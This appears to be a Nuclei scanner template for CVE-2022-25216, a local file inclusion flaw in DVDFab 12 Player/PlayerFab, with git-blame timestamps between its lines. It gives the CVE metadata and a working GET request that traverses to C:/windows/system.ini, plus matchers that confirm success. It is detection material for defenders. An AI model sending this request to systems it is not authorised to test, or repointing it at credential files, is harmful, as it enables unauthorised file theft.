2022-04-13 00:33:44 +00:00
id : CVE-2022-25216
info :
2022-06-29 13:57:23 +00:00
name : DVDFab 12 Player/PlayerFab - Local File Inclusion
2022-04-13 00:33:44 +00:00
author : 0x_Akoko
severity : high
2022-06-29 13:57:23 +00:00
description : DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.
2022-04-13 00:33:44 +00:00
reference :
- https://www.tenable.com/security/research/tra-2022-07
2022-06-29 13:57:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-25216
2022-04-13 00:33:44 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-13 00:33:44 +00:00
cvss-score : 7.5
cve-id : CVE-2022-25216
cwe-id : CWE-22
2022-08-27 04:41:18 +00:00
tags : cve,cve2022,dvdFab,lfi,lfr,tenable
2022-04-14 08:33:01 +00:00
2022-04-13 00:33:44 +00:00
requests :
- method : GET
path :
2022-04-14 09:00:24 +00:00
- "{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini"
2022-04-13 00:33:44 +00:00
2022-04-14 09:00:24 +00:00
matchers-condition : and
2022-04-13 00:33:44 +00:00
matchers :
2022-04-14 08:33:01 +00:00
- type : word
part : body
words :
- "bit app support"
- "fonts"
- "extensions"
condition : and
2022-04-13 00:33:44 +00:00
2022-04-14 09:00:24 +00:00
- type : status
status :
- 200
2022-06-29 13:57:23 +00:00
# Enhanced by mp on 2022/06/29
